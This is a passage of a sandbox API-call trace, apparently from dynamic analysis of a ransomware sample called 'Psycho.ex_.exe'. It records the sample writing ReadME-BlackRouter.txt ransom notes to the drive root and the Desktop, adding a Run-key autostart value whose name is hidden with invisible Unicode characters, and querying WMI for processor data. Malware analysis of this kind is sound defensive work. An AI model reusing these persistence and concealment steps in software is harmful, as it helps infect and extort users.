Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0180.921] GetParent (hWnd=0x101f6) returned 0x60126 [0180.921] GetWindowTextLengthW (hWnd=0x60126) returned 0 [0180.921] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x60126, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0180.921] GetSystemMetrics (nIndex=42) returned 0 [0180.921] GetWindowTextW (in: hWnd=0x60126, lpString=0x1ae040, nMaxCount=1 | out: lpString="") returned 0 [0180.921] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x60126, Msg=0xd, wParam=0x1, lParam=0x1ae040) returned 0x0 [0180.961] GetLogicalDrives () returned 0x4 [0180.968] GetFullPathNameW (in: lpFileName="C:\\ReadME-BlackRouter.txt", nBufferLength=0x105, lpBuffer=0x1ad830, lpFilePart=0x0 | out: lpBuffer="C:\\ReadME-BlackRouter.txt", lpFilePart=0x0) returned 0x19 [0180.968] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1add10) returned 1 [0180.969] CreateFileW (lpFileName="C:\\ReadME-BlackRouter.txt" (normalized: "c:\\readme-blackrouter.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x2e0 [0180.969] GetFileType (hFile=0x2e0) returned 0x1 [0180.969] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adc80) returned 1 [0180.969] GetFileType (hFile=0x2e0) returned 0x1 [0180.974] WriteFile (in: hFile=0x2e0, lpBuffer=0x29b6f48*, nNumberOfBytesToWrite=0x1c2, lpNumberOfBytesWritten=0x1add58, lpOverlapped=0x0 | out: lpBuffer=0x29b6f48*, lpNumberOfBytesWritten=0x1add58*=0x1c2, lpOverlapped=0x0) returned 1 [0180.975] CloseHandle (hObject=0x2e0) returned 1 [0180.976] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ReadME-BlackRouter.txt", nBufferLength=0x105, lpBuffer=0x1ad830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ReadME-BlackRouter.txt", lpFilePart=0x0) returned 0x3c [0180.976] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1add10) returned 1 [0180.976] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ReadME-BlackRouter.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\readme-blackrouter.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x2e0 [0180.979] GetFileType (hFile=0x2e0) returned 0x1 [0180.980] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adc80) returned 1 [0180.980] GetFileType (hFile=0x2e0) returned 0x1 [0180.980] WriteFile (in: hFile=0x2e0, lpBuffer=0x29b9a90*, nNumberOfBytesToWrite=0x1c2, lpNumberOfBytesWritten=0x1add58, lpOverlapped=0x0 | out: lpBuffer=0x29b9a90*, lpNumberOfBytesWritten=0x1add58*=0x1c2, lpOverlapped=0x0) returned 1 [0180.981] CloseHandle (hObject=0x2e0) returned 1 [0181.062] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1adec8 | out: phkResult=0x1adec8*=0x2e0) returned 0x0 [0181.131] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Psycho.ex_.exe", nBufferLength=0x105, lpBuffer=0x1ad8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Psycho.ex_.exe", lpFilePart=0x0) returned 0x34 [0181.132] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Psycho.ex_.exe", nBufferLength=0x105, lpBuffer=0x1ad760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Psycho.ex_.exe", lpFilePart=0x0) returned 0x34 [0181.132] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Psycho.ex_.exe", nBufferLength=0x105, lpBuffer=0x1ad870, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Psycho.ex_.exe", lpFilePart=0x0) returned 0x34 [0181.132] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adcb0) returned 1 [0181.132] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Psycho.ex_.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\psycho.ex_.exe"), fInfoLevelId=0x0, lpFileInformation=0x1add90 | out: lpFileInformation=0x1add90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bfffc0, ftCreationTime.dwHighDateTime=0x1d46685, ftLastAccessTime.dwLowDateTime=0x72bfffc0, ftLastAccessTime.dwHighDateTime=0x1d46685, ftLastWriteTime.dwLowDateTime=0xa5e80500, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2bea00)) returned 1 [0181.132] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adc70) returned 1 [0181.133] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Psycho.ex_.exe", lpdwHandle=0x1ade68 | out: lpdwHandle=0x1ade68) returned 0x58c [0181.141] GetFileVersionInfoW (in: lptstrFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Psycho.ex_.exe", dwHandle=0x0, dwLen=0x58c, lpData=0x29bb9a8 | out: lpData=0x29bb9a8) returned 1 [0181.141] VerQueryValueW (in: pBlock=0x29bb9a8, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1adde8, puLen=0x1adde0 | out: lplpBuffer=0x1adde8*=0x29bba44, puLen=0x1adde0) returned 1 [0181.143] VerQueryValueW (in: pBlock=0x29bb9a8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x1add88, puLen=0x1add80 | out: lplpBuffer=0x1add88*=0x29bbabc, puLen=0x1add80) returned 1 [0181.174] VerQueryValueW (in: pBlock=0x29bb9a8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x1add88, puLen=0x1add80 | out: lplpBuffer=0x1add88*=0x29bbae8, puLen=0x1add80) returned 1 [0181.174] VerQueryValueW (in: pBlock=0x29bb9a8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x1add88, puLen=0x1add80 | out: lplpBuffer=0x1add88*=0x29bbb10, puLen=0x1add80) returned 1 [0181.174] VerQueryValueW (in: pBlock=0x29bb9a8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x1add88, puLen=0x1add80 | out: lplpBuffer=0x1add88*=0x29bbb40, puLen=0x1add80) returned 1 [0181.174] VerQueryValueW (in: pBlock=0x29bb9a8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x1add88, puLen=0x1add80 | out: lplpBuffer=0x1add88*=0x29bbb72, puLen=0x1add80) returned 1 [0181.175] VerQueryValueW (in: pBlock=0x29bb9a8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x1add88, puLen=0x1add80 | out: lplpBuffer=0x1add88*=0x29bbbcc, puLen=0x1add80) returned 1 [0181.175] VerQueryValueW (in: pBlock=0x29bb9a8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x1add88, puLen=0x1add80 | out: lplpBuffer=0x1add88*=0x29bbbf8, puLen=0x1add80) returned 1 [0181.175] VerQueryValueW (in: pBlock=0x29bb9a8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x1add88, puLen=0x1add80 | out: lplpBuffer=0x1add88*=0x29bbc24, puLen=0x1add80) returned 1 [0181.175] VerQueryValueW (in: pBlock=0x29bb9a8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x1add88, puLen=0x1add80 | out: lplpBuffer=0x1add88*=0x29bba9a, puLen=0x1add80) returned 1 [0181.175] VerQueryValueW (in: pBlock=0x29bb9a8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x1add88, puLen=0x1add80 | out: lplpBuffer=0x1add88*=0x29bbb9c, puLen=0x1add80) returned 1 [0181.175] VerQueryValueW (in: pBlock=0x29bb9a8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x1add88, puLen=0x1add80 | out: lplpBuffer=0x1add88*=0x0, puLen=0x1add80) returned 0 [0181.175] VerQueryValueW (in: pBlock=0x29bb9a8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x1add88, puLen=0x1add80 | out: lplpBuffer=0x1add88*=0x0, puLen=0x1add80) returned 0 [0181.175] VerQueryValueW (in: pBlock=0x29bb9a8, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1add38, puLen=0x1add30 | out: lplpBuffer=0x1add38*=0x29bba44, puLen=0x1add30) returned 1 [0181.175] VerLanguageNameW (in: wLang=0x0, szLang=0x1ada60, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0181.202] VerQueryValueW (in: pBlock=0x29bb9a8, lpSubBlock="\\", lplpBuffer=0x1add88, puLen=0x1add80 | out: lplpBuffer=0x1add88*=0x29bb9d0, puLen=0x1add80) returned 1 [0181.213] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Psycho.ex_.exe", nBufferLength=0x105, lpBuffer=0x1ad840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Psycho.ex_.exe", lpFilePart=0x0) returned 0x34 [0181.219] RegQueryValueExW (in: hKey=0x2e0, lpValueName="‌‍‬‫‬‍‏‪‮‏‫‍‬‎‫‪​‌‌‮‫‫‮", lpReserved=0x0, lpType=0x1adee8, lpData=0x0, lpcbData=0x1adee0*=0x0 | out: lpType=0x1adee8*=0x0, lpData=0x0, lpcbData=0x1adee0*=0x0) returned 0x2 [0181.220] RegSetValueExW (in: hKey=0x2e0, lpValueName="‌‍‬‫‬‍‏‪‮‏‫‍‬‎‫‪​‌‌‮‫‫‮", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Psycho.ex_.exe", cbData=0x6a | out: lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Psycho.ex_.exe") returned 0x0 [0182.388] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2e4 [0182.412] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2e8 [0182.826] SetEvent (hEvent=0x2e8) returned 1 [0182.849] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x1ada20*=0x2e4, lpdwindex=0x1ad7f4 | out: lpdwindex=0x1ad7f4) returned 0x0 [0182.849] NtdllDefWindowProc_W (hWnd=0x601b6, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0182.849] NtdllDefWindowProc_W (hWnd=0x601b6, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0182.849] NtdllDefWindowProc_W (hWnd=0x601b6, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0182.849] NtdllDefWindowProc_W (hWnd=0x601b6, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0182.849] NtdllDefWindowProc_W (hWnd=0x601b6, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0182.849] NtdllDefWindowProc_W (hWnd=0x601b6, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0182.849] NtdllDefWindowProc_W (hWnd=0x601b6, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0182.849] NtdllDefWindowProc_W (hWnd=0x601b6, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0182.850] NtdllDefWindowProc_W (hWnd=0x601b6, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0182.850] NtdllDefWindowProc_W (hWnd=0x601b6, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0182.850] NtdllDefWindowProc_W (hWnd=0x601b6, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0182.850] NtdllDefWindowProc_W (hWnd=0x601b6, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0182.850] NtdllDefWindowProc_W (hWnd=0x601b6, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0182.850] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x60126, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0182.850] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x4011a, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0182.850] NtdllDefWindowProc_W (hWnd=0x601b6, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0182.850] CallWindowProcW (lpPrevWndFunc=0x7fefc16f450, hWnd=0x201d8, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0182.850] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x60126, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0182.850] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x4011a, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0182.850] NtdllDefWindowProc_W (hWnd=0x601b6, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0182.850] CallWindowProcW (lpPrevWndFunc=0x7fefc16f450, hWnd=0x201d8, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0182.850] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x60126, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0182.850] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x4011a, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0182.851] NtdllDefWindowProc_W (hWnd=0x601b6, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0183.982] CoGetContextToken (in: pToken=0x1ad870 | out: pToken=0x1ad870) returned 0x0 [0183.982] CoGetContextToken (in: pToken=0x1ad770 | out: pToken=0x1ad770) returned 0x0 [0183.982] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c2c1390, riid=0x1ad8d0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1ad8a0 | out: ppvObject=0x1ad8a0*=0x1c2c1390) returned 0x0 [0183.982] WbemDefPath:IUnknown:AddRef (This=0x1c2c1390) returned 0x3 [0183.982] WbemDefPath:IUnknown:Release (This=0x1c2c1390) returned 0x2 [0184.053] WbemDefPath:IWbemPath:SetText (This=0x1c2c1390, uMode=0x4, pszPath="win32_processor") returned 0x0 [0184.068] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c2c1390, puCount=0x1adc78 | out: puCount=0x1adc78*=0x0) returned 0x0 [0184.068] WbemDefPath:IWbemPath:GetText (in: This=0x1c2c1390, lFlags=2, puBuffLength=0x1adc70*=0x0, pszText=0x0 | out: puBuffLength=0x1adc70*=0x10, pszText=0x0) returned 0x0 [0184.068] WbemDefPath:IWbemPath:GetText (in: This=0x1c2c1390, lFlags=2, puBuffLength=0x1adc70*=0x10, pszText="000000000000000" | out: puBuffLength=0x1adc70*=0x10, pszText="win32_processor") returned 0x0 [0184.068] WbemDefPath:IWbemPath:GetInfo (in: This=0x1c2c1390, uRequestedInfo=0x0, puResponse=0x1adc90 | out: puResponse=0x1adc90*=0xc15) returned 0x0 [0184.068] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c2c1390, puCount=0x1adc78 | out: puCount=0x1adc78*=0x0) returned 0x0 [0184.068] WbemDefPath:IWbemPath:GetInfo (in: This=0x1c2c1390, uRequestedInfo=0x0, puResponse=0x1adc90 | out: puResponse=0x1adc90*=0xc15) returned 0x0 [0184.074] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c2c1390, puCount=0x1adc98 | out: puCount=0x1adc98*=0x0) returned 0x0 [0184.074] WbemDefPath:IWbemPath:GetText (in: This=0x1c2c1390, lFlags=2, puBuffLength=0x1adc90*=0x0, pszText=0x0 | out: puBuffLength=0x1adc90*=0x10, pszText=0x0) returned 0x0 [0184.074] WbemDefPath:IWbemPath:GetText (in: This=0x1c2c1390, lFlags=2, puBuffLength=0x1adc90*=0x10, pszText="000000000000000" | out: puBuffLength=0x1adc90*=0x10, pszText="win32_processor") returned 0x0 [0184.074] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c2c1390, puCount=0x1adc98 | out: puCount=0x1adc98*=0x0) returned 0x0 [0184.074] WbemDefPath:IWbemPath:GetText (in: This=0x1c2c1390, lFlags=2, puBuffLength=0x1adc90*=0x0, pszText=0x0 | out: puBuffLength=0x1adc90*=0x10, pszText=0x0) returned 0x0 [0184.074] WbemDefPath:IWbemPath:GetText (in: This=0x1c2c1390, lFlags=2, puBuffLength=0x1adc90*=0x10, pszText="000000000000000" | out: puBuffLength=0x1adc90*=0x10, pszText="win32_processor") returned 0x0 [0184.074] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c2c1390, puCount=0x1adbc8 | out: puCount=0x1adbc8*=0x0) returned 0x0 [0184.074] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x320 [0184.074] SetEvent (hEvent=0x2e8) returned 1 [0184.076] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x1ac9d0*=0x320, lpdwindex=0x1ac7a4 | out: lpdwindex=0x1ac7a4) returned 0x0 [0184.077] CoGetContextToken (in: pToken=0x1ac820 | out: pToken=0x1ac820) returned 0x0 [0184.078] CoGetContextToken (in: pToken=0x1ac720 | out: pToken=0x1ac720) returned 0x0 [0184.078] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c2c15b0, riid=0x1ac880*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1ac850 | out: ppvObject=0x1ac850*=0x1c2c15b0) returned 0x0 [0184.078] WbemDefPath:IUnknown:AddRef (This=0x1c2c15b0) returned 0x3 [0184.078] WbemDefPath:IUnknown:Release (This=0x1c2c15b0) returned 0x2 [0184.078] WbemDefPath:IWbemPath:SetText (This=0x1c2c15b0, uMode=0x4, pszPath="//./root/cimv2") returned 0x0 [0184.078] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c2c15b0, puCount=0x1adb88 | out: puCount=0x1adb88*=0x2) returned 0x0 [0184.078] WbemDefPath:IWbemPath:GetText (in: This=0x1c2c15b0, lFlags=4, puBuffLength=0x1adb80*=0x0, pszText=0x0 | out: puBuffLength=0x1adb80*=0xf, pszText=0x0) returned 0x0 [0184.078] WbemDefPath:IWbemPath:GetText (in: This=0x1c2c15b0, lFlags=4, puBuffLength=0x1adb80*=0xf, pszText="00000000000000" | out: puBuffLength=0x1adb80*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0184.078] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x328 [0184.078] SetEvent (hEvent=0x2e8) returned 1 [0184.079] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x1ad8d0*=0x328, lpdwindex=0x1ad6a4 | out: lpdwindex=0x1ad6a4) returned 0x0 [0184.085] CoGetContextToken (in: pToken=0x1ad720 | out: pToken=0x1ad720) returned 0x0 [0184.085] CoGetContextToken (in: pToken=0x1ad620 | out: pToken=0x1ad620) returned 0x0 [0184.085] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c2c1870, riid=0x1ad780*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1ad750 | out: ppvObject=0x1ad750*=0x1c2c1870) returned 0x0 [0184.085] WbemDefPath:IUnknown:AddRef (This=0x1c2c1870) returned 0x3 [0184.085] WbemDefPath:IUnknown:Release (This=0x1c2c1870) returned 0x2 [0184.085] WbemDefPath:IWbemPath:SetText (This=0x1c2c1870, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0184.085] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c2c1870, puCount=0x1adaf8 | out: puCount=0x1adaf8*=0x2) returned 0x0 [0184.085] WbemDefPath:IWbemPath:GetText (in: This=0x1c2c1870, lFlags=4, puBuffLength=0x1adaf0*=0x0, pszText=0x0 | out: puBuffLength=0x1adaf0*=0xf, pszText=0x0) returned 0x0 [0184.085] WbemDefPath:IWbemPath:GetText (in: This=0x1c2c1870, lFlags=4, puBuffLength=0x1adaf0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1adaf0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0184.179] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x1ad938*=0x33c, lpdwindex=0x1ad6c4 | out: lpdwindex=0x1ad6c4) returned 0x0 [0184.618] CallWindowProcW (lpPrevWndFunc=0x7fefc16f450, hWnd=0x201d8, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0184.618] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x60126, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0184.618] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x4011a, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0184.618] NtdllDefWindowProc_W (hWnd=0x601b6, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0185.718] CallWindowProcW (lpPrevWndFunc=0x7fefc16f450, hWnd=0x201d8, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0185.720] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x60126, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0185.720] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x4011a, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0185.720] NtdllDefWindowProc_W (hWnd=0x601b6, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0186.842] CallWindowProcW (lpPrevWndFunc=0x7fefc16f450, hWnd=0x201d8, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0186.842] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x60126, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0186.842] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x4011a, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0186.842] NtdllDefWindowProc_W (hWnd=0x601b6, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0186.894] CallWindowProcW (lpPrevWndFunc=0x7fefc16f450, hWnd=0x201d8, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0186.894] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x60126, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0186.894] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x4011a, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0186.894] NtdllDefWindowProc_W (hWnd=0x601b6, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0191.718] CoGetContextToken (in: pToken=0x1ad5a0 | out: pToken=0x1ad5a0) returned 0x0 [0191.718] CoGetContextToken (in: pToken=0x1ad4d0 | out: pToken=0x1ad4d0) returned 0x0 [0191.718] IUnknown:QueryInterface (in: This=0x1ac22ae0, riid=0x7fef419c6b0*(Data1=0x1da, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1ad370 | out: ppvObject=0x1ad370*=0x1ac22b00) returned 0x0 [0191.718] CObjectContext::ContextCallback () returned 0x0 [0191.729] IUnknown:Release (This=0x1ac22b00) returned 0x1 [0191.729] CoUnmarshalInterface (in: pStm=0x1da2d430, riid=0x7fef414c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1ad5a0 | out: ppv=0x1ad5a0*=0x1da37f60) returned 0x0 [0191.740] CoMarshalInterface (pStm=0x1da2d430, riid=0x7fef414c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x1da37f60, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 [0191.740] WbemLocator:IUnknown:QueryInterface (in: This=0x1da37f60, riid=0x7fef414c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1ad5a0 | out: ppvObject=0x1ad5a0*=0x1da37f60) returned 0x0 [0191.741] WbemLocator:IUnknown:QueryInterface (in: This=0x1da37f60, riid=0x7fef4179740*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1ad630 | out: ppvObject=0x1ad630*=0x0) returned 0x80004002 [0191.742] WbemLocator:IUnknown:QueryInterface (in: This=0x1da37f60, riid=0x7fef4179770*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1ad260 | out: ppvObject=0x1ad260*=0x0) returned 0x80004002 [0191.742] WbemLocator:IUnknown:AddRef (This=0x1da37f60) returned 0x3 [0191.742] WbemLocator:IUnknown:QueryInterface (in: This=0x1da37f60, riid=0x7fef4179750*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1acce8 | out: ppvObject=0x1acce8*=0x0) returned 0x80004002 [0191.743] WbemLocator:IUnknown:QueryInterface (in: This=0x1da37f60, riid=0x7fef4179760*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1acc80 | out: ppvObject=0x1acc80*=0x0) returned 0x80004002 [0191.743] WbemLocator:IUnknown:QueryInterface (in: This=0x1da37f60, riid=0x7fef414c7d8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1acc70 | out: ppvObject=0x1acc70*=0x1da37e48) returned 0x0 [0191.743] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1da37e48, riid=0x7fef414c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1acc98 | out: pCid=0x1acc98*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0191.743] WbemLocator:IUnknown:Release (This=0x1da37e48) returned 0x3 [0191.743] CoGetContextToken (in: pToken=0x1acd10 | out: pToken=0x1acd10) returned 0x0 [0191.743] CoGetObjectContext (in: riid=0x7fef414c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da2d558 